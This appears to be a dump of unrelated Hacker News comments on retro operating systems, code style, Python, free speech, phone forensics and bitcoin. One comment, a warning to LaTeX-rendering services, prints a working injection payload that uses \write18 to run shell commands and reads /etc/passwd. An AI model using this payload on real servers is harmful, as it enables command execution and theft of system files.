skysight-inc/HackerNews huggingface dataset:
London's runs on iRMX III. The hardware is x86 but non-PC, based on Multibus.

https://en.wikipedia.org/wiki/RMX_(operating_system)

That OS was pretty much a feature demo OS for the x86. All that task switching stuff is used to the max, and of course the segments are as well. Good luck porting anything, even if you did have the source code and a budget. Also, the popular language was PL/M, which is impressively awful. https://en.wikipedia.org/wiki/PL/M
The surgery needed to install the chip is itself detrimental to your IQ. The brain was not made to be exposed to air. You don’t get your skull opened up unless there’s no other option — these are patients who were already forced into this circumstance.
Literal syntax and stdlib size and APIs. The latter is especially important on iterator and container interfaces. They must fit together well and be composable.

This can be exemplified using Crystal, which is close to Ruby in both terseness and APIs, but statically typed (and with static dispatch).
The opposite being a soda, which is close to sugar water, which makes sugar being absorbed very quickly.
Most users have 4-digit or 6-digit numeric passwords, which can be trivially brute-forced. The only reason they can't generally is that SEP rate-limits decryption attempts. They probably have a way around the rate-limit. Meaning: if you use an alphanumeric password, you're fine.
http://news.bbc.co.uk/2/hi/uk/7620507.stm
This is like a precursor to Elon Musk's Neuralink idea.

https://waitbutwhy.com/2017/04/neuralink.html
I've worked the opposite way: calling Javascript from Python, using PyV8. It worked okay enough, but it felt super fragile. We only used it to run a tiny bit of client-side code on the server. I wouldn't want to have a large project where Javascript and Python interact heavily.
Cool. Not meaning to criticize, but am genuinely curious if fiverr has something special here.
It's not obsessively complete until they have Cornerstone - the database software that the whole company was actually meant to be about (weird, but true).
Show HN: SiteRank, Console script to pull global rank for any website/domain
I grew up on OS/2 Warp on a PS/1 Consultant. I still have a couple of boxes with original copies of OS/2 Warp and the manuals and optional software disks in my back closet. I guess you could say I have a soft spot for it. It was really ahead of its time compared to its contemporaries, second only to BeOS. But people who weren't techies back in the early 90s didn't see the value in buying a different operating system when their system came with DOS and Windows 3.1. And, honestly, they were probably right! Computers didn't really have the oomph or the networking capabilities at the time to power all the multimedia applications IBM had in mind.

So I can't really judge the MTA too harshly because OS/2 is solid and it'll probably gladly do the job for another 30 years so long as the hardware lasts.
This is almost certainly a way to brute-force passwords without the rate limit which is enforced by default. The only reason passwords can be brute-forced is that they're numeric and have few digits. If you use an alphanumeric passcode with at least 8-10 digits, you're fine.
They lost my interest and intrigue what I learned you had to get the dealer to use a marked deck.
Why do they claim that Word ditched its equation editor? I believe I’m on the latest Word and it certainly still has the editor.

Word’s equation editor is hands-down the best WYSIWYG equation editor I ever used. The results are beautiful and if you want a tilde you just type a f*ing tilde instead of spending an hour figuring out which combination of packages and fonts will cause LaTeX to grace you with this standard unicode character.

I guess maybe MS discontinued the old plugin equation editor (which was terrible, agreed), but the built-in one is still there.
It takes time for tech to develop. We have in our homes small simple robot toys and Roomba-like robots clean our apartments. Each step seems very little compared with our expectations. But, technology will get with time cheaper, and easier to use.

Funny thing: https://www.youtube.com/watch?v=dKjCWfuvYxQ
Show HN: Gar-cron, a script to send you reminders abt your GitHub activity
That, and most people who are compiling it are chromium developers, who will be using dirty builds and so have relatively quick compiles.
Show HN: DistroVerify, Utility to verify any Linux distro (*.iso) for integrity
There should be definitely some exceptions from this legislation as usually.
I needed a Python function which computes a (symbolic) derivative of a certain known formula. I could've just computed the derivative in say Mathematica, and then write the Python function manually based on the derived formula, but the derivative function had hundreds of terms and there was no way I'd transpile it manually without introducing errors.

In the end, I used a hacky Mathematica script which converts a resulting Mathematica formula into a Python code (which I then pasted into my program). But, if SymPy was better, I could do all this in just Python.

BTW, according to Wikipedia, SageMath is just using SymPy for calculus.
There's a really awesome video game museum in Berlin on Karl Marx Allee that features an East German Soviet PolyPlay arcade machine with Wasserrohrbruch running on it. It's a terrible game, but the museum is worth a visit for anyone not going to Russia who wants to try a few Soviet-era games.
If observer is on the Earth then equations for Jupiter will not work for describing the apparent motion of the planets.
Funny Papa Dad of 2 DAD2 – Fathers Day Gift for Rock Dad T-Shirt: Clothing
I settled on this a while ago which I think is perfectly readable:

const myvar
= foo < bar ? bar
: bar < baz ? baz
: lark < 10 ? lark
: 0
It was also stated, though, that the reason she worked on her own was that she was a very good programmer; presumably, better than a lot of the people who worked in groups. And, as the sibling mentions, teams introduce overhead.
Tap water really is not an option in most of the world.
It depends entirely on whether the big project still has an elegant and complete formal grammar. Hand-rolled parsers are only common in industrial languages because many have grown to be far too complex and ad-hoc, requiring e.g. additional analysis and disambiguation during parsing. It is not a situation to aspire to.
I have just taken to running server and talking over http whenever I want two languages to interface. It’s slower but it’s pretty much bulletproof.
Extraordinary, it's true.

Note to others: On mobile it's interesting but only has audio. I had to look at the desktop version to understand why everyone was so amazed about the site.
Can you be more specific about the nature of the exploit you are imagining?

For example, how can a radio interface have "enough" access to facilitate decryption of an encrypted volume?
If you run/operate/host an online service which allows rendering user-submitted LaTeX you must care about security.

There are a bunch of sites which take arbitrary input and convert it to PDF - they're often easily exploited, to allow arbitrary files to be read from the server, and commands executed:

\begin{document}
\setlength{\parindent}{0cm}{\Huge \Hello}

\bigskip
\section*{Execute Commands}
\immediate\write18{uptime> scriptoutput.tex}
\immediate\write18{id >> scriptoutput.tex}
\immediate\write18{ps -ef >> scriptoutput.tex}
\begin{alltt}
\input{scriptoutput.tex}
\end{alltt}

\bigskip
\section*{Read Files}
\begin{alltt}
\input{/etc/passwd}
\end{alltt}
There are copyright exceptions for security researchers. Apple can block access to their network services, but I doubt they can do legal action, at least not based on copyright laws. Of course in this particular instance it sucks, but in general, such exceptions are very valuable as they allow researchers to find out about vulnerabilities and warn the public without being impeded by the manufacturer.
> If you somehow were able to price discriminate perfectly then you could completely remove piracy.

And almost remove the consumer surplus.
I don't think there's any legal basis for the idea of free speech in Australia.
That is terrifying given how the phone is the single key to many people's digital identity and their finances.

And that's what scared me into changing my relationship with my phone. I try to treat it as an ephemeral, disposable data terminal in which I have minimal trust.

Every few weeks I back it up to the LAN and purge it. If I lose it I revoke its login certificates so that it can't access the mail and chat servers, and block the PAYG SIM.

Yet more and more services want me to regard it as a secure token endowd with ultimate trust. The latest is one of my banks ( Halifax ) which demands that I install their app to authorise any online payment.
I still occasionally write ZX Basic and am planning to get back into Blitz Basic and AMOS later this year. I also have a project lined up using C64 Basic (but probably mostly asm).

It's a tool like anything else, when it's the right one for the job it's worth using.
One way or another, they are facilitating (in fact profiting from) one human to forcibly access a sensitive device belonging to another human, with the consent of the latter.

The sex offender spectre doesn't change that.
I'm surprised they're mandating Mandarin rather than just starting with changing the views of students towards China.
Just Google for it from an incognito session to get the full article. I quoted the gist of the research in the other post but here goes:
Because there's a limit to how much a human body can eat a day, body also regulates how many calories the body can burn in a day.
So you can do one day where you burn more than 6000kcal but any more days and 6k is the rough limit, even if you run a full marathon.
Body adapts, but it also doesn't let you burn too many calories over consecutive days.
From my understanding, whenever you click on a track it switches to "Mission Control Audio" tab near the top. Clicking "Photography" takes you back to the master audio. Definitely a little confusing. The "photography" label should maybe be master track?
> Are you seriously shocked that there are people out there that would be willing to assist law enforcement?

No, as I said, it's the flaunting it that surprises me.
Right, the liabilities are hard to determine and those liabilities may increase substantially if simply buried.

This is because most types of spent nuclear fuel slowly become "weapons-grade" as the short half-life isotopes decay.
Cellebrite Announcement
Quite the contrary: A blind friend of mine studied math. He got scripts and exercises as latex source code from his professors and read them on his braille display.
Mining farms are by nature located in areas with cheap electricity, ie. where supply exceeds demand. So it isn't taking away energy from other consumers. For example: https://news.ycombinator.com/item?id=20194135
Well, then, thanks to bitcoin we're getting rid of the banking system, which means getting rid of many manual jobs such as clerks and the like. Energy well spent towards more automation!
> Although the number of studies involving non-English languages was too small to draw any firm conclusions, there seemed to be a hint of differences between languages. For example, reading rate in the five Spanish studies was considerably faster than the average, at 278 wpm, while the average rate for the 144 English-only studies was 236 wpm.

It really doesn't make sense to compare wpm across languages.
Publicly known prices are one of the elements of the ideal free market, as described in economics textbooks. It's well-known that free markets encourage competition and generally push the margins of vendors down, even to subsistence level, which is great for consumers, but obviously not attractive for vendors. So, naturally, the companies do everything to move away from the free market as far as possible - i.e. have a monopoly/oligopoly if possible, or introduce super-convoluted contracts that the average consumer has no chance of understanding (EULAs etc.), hide their pricing etc. In general - the more muddy the situation is, the more it favors bigger players.
The research is mostly in Apple's interest - someone does free work for them. If 'security and privacy' are features you are selling to consumers, 'we sue everyone who fiddles around' is much less convincing messaging than 'we try to make the most secure device we can and if it's compromised, we fix it'.
I'm wondering about this too, since I recently am looking for a payment processor that also handles VAT. Most of them don't have the pricing, and one of them even called me up after I asked for prices. This is a total waste of time on my side.

I also have the feeling that they are ripping me off if I don't negotiate, because why else wouldn't you be upfront with your pricing?

Nice to see that Atlassian became really successful with their upfront pricing.
I can't immediately find the methodology by which a pattern is converted to a pin.

For example, what's the degree of entropy for a non-trivial 6x6 pattern? (And why is my search fu not availing me of the answer to this question? :-) )
Compare it to the amount of CO2 that the banking sector is emitting now. All those pointless buildings, branches, offices, computers, employees going to work everyday. To me, bitcoin feels much more efficient.

Sure btc is not perfect, and humanity might come up with something better soon. Until then, let's switch to the better technology that exists today.
I enjoyed this:

> My passion is making Free Software because it seems to be the software that lasts, the software that turns out to matter in the end.
I've written a Pratt (TDOP) parser in Go and I thought it was a great experience. Only thing I wished was done for me by the language was that it would tell me the byte position of the cursor in a file stream.
Oleksiy Nashyvochnykov – deaf architect who designed 8 metro stations [video]
Well, for sure, if we keep mistreating them.
https://youtu.be/dKjCWfuvYxQ
https://pastebin.com/raw/aQCeTJVS
High-brow pop science can be so precious.

> Mathematical insights into how RNA helps viruses pull together their protein shells could guide future studies of viral behavior and function.

Insights into virus behavior could guide studies of...virus behaviour. A dizzying thesis!
There are very few bacteria that strive in dry conditions.
Yes there is though it's not in the constitution directly its been inferred by the high court

https://www.ag.gov.au/RightsAndProtections/HumanRights/Human...
Stunning work, huge kudos to you, not just on concept but great execution/UI etc. My 14yo son is the most ridiculously keen space nut (the only teenager I know with a pdf of the Apollo manual on his phone) - he’s going to be very excited to see this.

I’m ex Head of Web at the Science Museum (London) and now run a company that works exclusively with museums. I’ll ping a few people: I know the curator of Space at SciM but also lots of museum web people. Just possible someone will know someone at the Smithsonian.
Homegrown Scala Collections – Part 34 – FoldRight
macOS Removing Python/Perl/Ruby Runtimes
Free speech is a very different subject than the rights of journalists.

Australians by and large don't want American style, unfettered free speech. And are quite happy with "say whatever you want so long as you don't libel or slander someone or some group of people" approach. It's what keeps our very multicultural society together.

What happened with the recent investigation of journalists is about the Australian government's right to see the drafts and sources for articles that involve investigating national security matters. And in general harass and intimidate journalists to discourage such articles in the future.

You can fix the second problem by enshrining the rights of journalists in legislation without having to make it a freedom of speech issue.
> In the virtual machine my firefox web page said "that page failed... reload this tab?" and then, when I clicked tab reload it "automatically upgraded" my firefox image, losing over 100 open tabs which it failed to reload.

In chrome, there's a feature that allows you to "bulk open" all the tabs that where previously "bulk closed". I don't know if Firefox can do this.
He teaches compilers. Not programming or fp, so definitely not the professors fault
Ooh, it’s a wonderland for free speech haters in the US. They should move there.
"Scripting language runtimes such as Python, Ruby, and Perl are included in macOS for compatibility with legacy software. Future versions of macOS won’t include scripting language runtimes by default, and might require you to install additional packages. If your software depends on scripting languages, it’s recommended that you bundle the runtime within the app. (49764202)"

"Use of Python 2.7 isn’t recommended as this version is included in macOS for compatibility with legacy software. Future versions of macOS won’t include Python 2.7. Instead, it’s recommended that you run python3 from within Terminal. (51097165)"
What an Apple TV and Alexa look like on an old TV and record player cabinet
First of all: amazing project. Kudos to your professor. Who is it, btw?

Second: intriguing how important meta programming becomes once you nailed the problem domain.
I work for a large bank, and here the bank just restarts our computers too. Their profit off of our work, and still think it's ok to trash it once in a while. I suspect they think the risk of being hacked due to non-upgraded machine is worse than the loss of work.
KDE Usability and Productivity: Week 75
Check out the "specific pattern decrypt note" section from the twrp faq

https://twrp.me/faq/openrecoveryscript.html
I would format that as either:

var myvar =
foo < bar ? bar :
bar < baz ? baz :
0

or:

var myvar =
foo < bar ? bar
: bar < baz ? baz
: 0
I’ve never understood why all the centre-dash controls have, since time immemorial, been angled away from the driver.

Radio control is one plausible compromise but defroster? Navigation?
Nested ternary operators are hardly ever a good idea.

Would using ternary operators as a terser switch statement be fine?

int a =
b == 1 ? 2 :
b == 2 ? 3 :
b == 3 ? 5 :
-1;
Yeah, let’s let the government decide whether a speech is a libel or slander. It’s still a freedom of speech, isn’t it?
What makes you so certain of that?
Isnt it great , you can accomplish all this, without react, just old J Query. Hats of to creator of the site.
OpenVSP Workshop 2019 Early bird Registration now open
In preparation for the anschluss…
Your linked stackoverflow question - how do you return the first item of the list or None.

Proposed solution - `a[0] if a else None`

Your reaction - Python doesn't offer a rich standard library.

I disagree, and I suspect most programmers would too. We'd much rather have ergonomic libraries to make http requests, parse command line arguments, datetime, itertools, data structures like heaps, filesystem access, data archiving, data serialization and deserialization and a million other nice-to-haves. It's actually at the point where I've heard criticism of Python's stdlib doing too many things, rather than too few.

If you don't want to write 19 characters to find the first item in a list, pick another language. But don't mischaracterise python's standard library.
I think it suits contemporary culture that cars with any kind of luxury pretense would catastrophically break in a small number of years.

Elon doesn’t want gross poors driving our beloved Tesla 3s in five or ten years!
I'm having the requirement to work with Node and Python now. I write my webapps in node but have data analytics scripts written in python to be invoked. I'm planning to use [python-shell - npm](https://www.npmjs.com/package/python-shell)
Should be called the Brown Internet Plug for what it brings.
Yep, I quoted the article in my edit. He's incorrectly referenced as the "former head of London’s train system" and they claim the reason for his hiring was "ultimately eliminating MetroCards", which is flat out wrong. Byford was brought on to "fix" the inevitable trainwreck that is the MTA while also taking the fall for said trainwreck.
0-learning curve chorded typing
That was a disappointing response. The overall design is ok but this really felt out of place. Hopefully he realizes that and stops blaming the “puritanical jerks” as he himself said.
Mmm... thanks guys :\
I mean, you could pay them more than approximately nothing...
Yeah, tell that to the drivers of the hype train around cloud for IoT, which includes Microsoft.
Slack will never replace email
It's kind of like the "man on the street" interviews ...very intriguing vignettes. I quite liked the Confederate veteran story.
The facebook live stream of murders was the output. White supremacy material is the input.
Without freedom of speech you lose freedom of thought. Unkniwn journalists will be affected by removing press credentials.
In Russian we all pronounce and transliterate as 'kseroks'. And for a non-experienced Russian you'd have to write 'zeroks' so he'd pronounce it correctly.
> Unlike the USSR

The USSR did match or surpass everyone else for a while. You can argue about long-term sustainability, but from 1945 to 1975 ca. they were a legitimate superpower by all definitions.
One trick I found that makes things WAY easier is by breaking sections of a paper into different tex files. You can share them on github and each collaborator works on their part. You don't end up with collisions and it works beautifully. I honestly believe LaTeX is easier to collaborate with than Word or even Google Docs.

Disclaimer: I'm mostly a nix user and so doing anything Word generally ends up as a pain for me, but I understand it isn't for most others.
"Oracle created the DeWitt Clause that forbids researchers from publishing benchmarks for their products, and this apparently stands up in court."

Was this "DeWitt Clause" ever challenged specifically in a trial? If yes, can you give us some details, e.g., date, the name of the opposing party, the venue, etc.?

If it has never been challenged specifically, and gone through litigation all the way to a trial, can we honestly say "it stands up in court"?
Learning to speak mandarin is not difficult and arguably the grammar is simpler than in English. Learning to read and write is difficult because of the quantity but characters are highly structured. It's interesting and I don't see what there should be any "resistance" from the students.

Nepal has a border with China, it does seem like a good idea to teach Chinese in schools. Like it makes sense for China to promote this.

The state of the media when this anecdote from a remote country makes headlines all over the place... With the usual suggestions of sinister motives.
I own a bunch of retro machines and use them to teach my kids BASIC (and LOGO). Sometimes I’d do a bit of coding on there myself for a bit of fun.

Sometimes I do catch myself “thinking in BASIC” when writing coding with C-style syntax. In that rather than saying:

For brackets I equals zero semicolon....

Instead I’ll say

For I equals zero to n

(Similarly for function blocks / “End Function” too).

For all it’s warts, BASIC can read a little like pseudocode.

Edit: it probably comes as no surprise that even until the late 90s I still preferred writing code in Pascal than I did in C.
Could you not e.g. operate in an artificial vacuum using oxygen masks? If open skull surgery is so detrimental to IQ, why is this not done? I understand there's a cost factor but given the scale of medical expenses, it seems within the realm of possibility?
Well for #1 & #2, they don't need your phone for that, just subpoenas to the relevant companies. And most people are not international globe trotters where the extra stuff outside of the country would be of much use.

#3 is the real treasure trove.
Less code doesn't imply lower quality code. A more expressive language + less boilerplate allow you to write high quality, readable code with fewer lines.